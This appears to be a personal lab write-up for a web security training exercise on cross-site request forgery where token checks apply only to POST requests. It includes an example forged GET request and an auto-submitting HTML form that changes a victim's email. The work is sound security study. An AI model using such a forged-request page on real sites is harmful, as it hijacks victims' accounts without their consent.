Haft

Backlinks

CSRF where token validation depends on request method

TL;DR

Identify an mail update request and try to reuse it by changing the POST to a GET request, and

Learning Material

Some applications correctly validate the token when the request uses the POST method but skip the validation when the GET method is used.

In this situation, the attacker can switch to the GET method to bypass the validation and deliver a CSRF attack:

GET /email/change?email=pwned@evil-user.net HTTP/1.1
Host: vulnerable-website.com
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm

Lab

This lab’s email change functionality is vulnerable to CSRF. It attempts to block CSRF attacks, but only applies defenses to certain types of requests.

To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address.

You can log in to your own account using the following credentials: wiener:peter

Write-up

Same routine as csrf vulnerability with no defenses.

My curiosity tried to delete the csrf token to verify the checking mechanism, showed no result. Changing it with an other value does not validate the request either. At that point, we can try changing the method using GET and passing the parameters in the URL directly. We get redirected and find out the request is accepted directly.

The same behavior happens if the csrf parameter is removed completely in the GET request. Notice we can also use the Burpsuite Engagement tools to generate CSRF PoC on get request, giving us the following result :

<html>
  <body>
    <form action="https://0ada00ca03e7f1308123d57100d7007b.web-security-academy.net/my-account/change-email">
      <input type="hidden" name="email" value="random&#64;test" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

We then use it on the exploit server and solve the lab.

Backlinks

Recent Notes